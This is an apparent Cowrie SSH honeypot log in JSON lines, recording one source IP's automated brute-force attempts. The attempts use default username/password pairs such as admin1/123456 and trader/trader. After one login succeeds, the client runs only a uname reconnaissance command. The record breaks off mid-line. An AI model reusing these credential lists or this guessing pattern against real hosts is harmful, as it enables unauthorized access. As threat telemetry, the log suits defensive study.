{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:18:32.343901Z","src_ip":"192.109.200.78","session":"b1e7846d82da","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -s -v -n -r -m","message":"CMD: uname -s -v -n -r -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:18:32.347508Z","src_ip":"192.109.200.78","session":"b1e7846d82da","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","size":71,"shasum":"7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:18:32.437857Z","src_ip":"192.109.200.78","session":"b1e7846d82da","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.3","message":"Connection lost after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:18:32.443112Z","src_ip":"192.109.200.78","session":"b1e7846d82da","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":33646,"dst_ip":"10.17.0.5","dst_port":22,"session":"704cdb24fd85","protocol":"ssh","message":"New connection: 192.109.200.78:33646 (10.17.0.5:22) [session: 704cdb24fd85]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:18:35.325974Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:18:35.333322Z","src_ip":"192.109.200.78","session":"704cdb24fd85","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:18:35.415982Z","src_ip":"192.109.200.78","session":"704cdb24fd85","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"12345","message":"login attempt [user/12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:18:35.667404Z","src_ip":"192.109.200.78","session":"704cdb24fd85","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:18:36.752360Z","src_ip":"192.109.200.78","session":"704cdb24fd85","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":58728,"dst_ip":"10.17.0.5","dst_port":22,"session":"cd0e4843865a","protocol":"ssh","message":"New connection: 192.109.200.78:58728 (10.17.0.5:22) [session: cd0e4843865a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:18:39.614372Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:18:39.618978Z","src_ip":"192.109.200.78","session":"cd0e4843865a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:18:39.713077Z","src_ip":"192.109.200.78","session":"cd0e4843865a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"joel","password":"joel","message":"login attempt [joel/joel] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:18:39.969918Z","src_ip":"192.109.200.78","session":"cd0e4843865a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:18:41.056267Z","src_ip":"192.109.200.78","session":"cd0e4843865a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":58734,"dst_ip":"10.17.0.5","dst_port":22,"session":"1968c7760d67","protocol":"ssh","message":"New connection: 192.109.200.78:58734 (10.17.0.5:22) [session: 1968c7760d67]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:18:44.651738Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:18:44.656703Z","src_ip":"192.109.200.78","session":"1968c7760d67","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:18:44.740181Z","src_ip":"192.109.200.78","session":"1968c7760d67","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin1","password":"123456","message":"login attempt [admin1/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:18:45.009816Z","src_ip":"192.109.200.78","session":"1968c7760d67","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:18:46.095128Z","src_ip":"192.109.200.78","session":"1968c7760d67","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":58746,"dst_ip":"10.17.0.5","dst_port":22,"session":"fd13823b84ee","protocol":"ssh","message":"New connection: 192.109.200.78:58746 (10.17.0.5:22) [session: fd13823b84ee]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:18:47.872948Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:18:47.882397Z","src_ip":"192.109.200.78","session":"fd13823b84ee","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:18:47.965268Z","src_ip":"192.109.200.78","session":"fd13823b84ee","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"trader","password":"trader","message":"login attempt [trader/trader] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:18:48.216868Z","src_ip":"192.109.200.78","session":"fd13823b84ee","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:18:48.521341Z","src_ip":"192.109.200.78","session":"fd13823b84ee","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -s -v -n -r -m","message":"CMD: uname -s -v -n -r -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:18:48.524634Z","src_ip":"192.109.200.78","session":"fd13823b84ee","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","size":71,"shasum":"7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:18:48.609859Z","src_ip":"192.109.200.78","session":"fd13823b84ee","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.7","message":"Connection lost after 0.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:18:48.614396Z","src_ip":"192.109.200.78","session":"fd13823b84ee","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":39184,"dst_ip":"10.17.0.5","dst_port":22,"session":"0ee47d47a8de","protocol":"ssh","message":"New connection: 192.109.200.78:39184 (10.17.0.5:22) [session: 0ee47d47a8de]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:18:52.035221Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:18:52.042265Z","src_ip":"192.109.200.78","session":"0ee47d47a8de","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:18:52.236477Z","src_ip":"192.109.200.78","session":"0ee47d47a8de","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"esadmin","password":"esadmin","message":"login attempt [esadmin/esadmin] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:18:52.600887Z","src_ip":"192.109.200.78","session":"0ee47d47a8de","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:18:53.685395Z","src_ip":"192.109.200.78","session":"0ee47d47a8de","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":39196,"dst_ip":"10.17.0.5","dst_port":22,"session":"dad995b88e6c","protocol":"ssh","message":"New connection: 192.109.200.78:39196 (10.17.0.5:22) [session: dad995b88e6c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:18:56.133586Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:18:56.138406Z","src_ip":"192.109.200.78","session":"dad995b88e6c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:18:56.225097Z","src_ip":"192.109.200.78","session":"dad995b88e6c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"test","password":"test!@","message":"login attempt [test/test!@] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:18:56.478710Z","src_ip":"192.109.200.78","session":"dad995b88e6c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:18:57.666450Z","src_ip":"192.109.200.78","session":"dad995b88e6c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":38868,"dst_ip":"10.17.0.5","dst_port":22,"session":"17604d11e254","protocol":"ssh","message":"New connection: 192.109.200.78:38868 (10.17.0.5:22) [session: 17604d11e254]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:19:00.338848Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:19:00.363443Z","src_ip":"192.109.200.78","session":"17604d11e254","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:19:00.427047Z","src_ip":"192.109.200.78","session":"17604d11e254","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"labuser","password":"labuser","message":"login attempt [labuser/labuser] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:19:00.752637Z","src_ip":"192.109.200.78","session":"17604d11e254","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:19:01.844211Z","src_ip":"192.109.200.78","session":"17604d11e254","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":38874,"dst_ip":"10.17.0.5","dst_port":22,"session":"51278bc3d146","protocol":"ssh","message":"New connection: 192.109.200.78:38874 (10.17.0.5:22) [session: 51278bc3d146]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:19:04.512825Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:19:04.524261Z","src_ip":"192.109.200.78","session":"51278bc3d146","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH 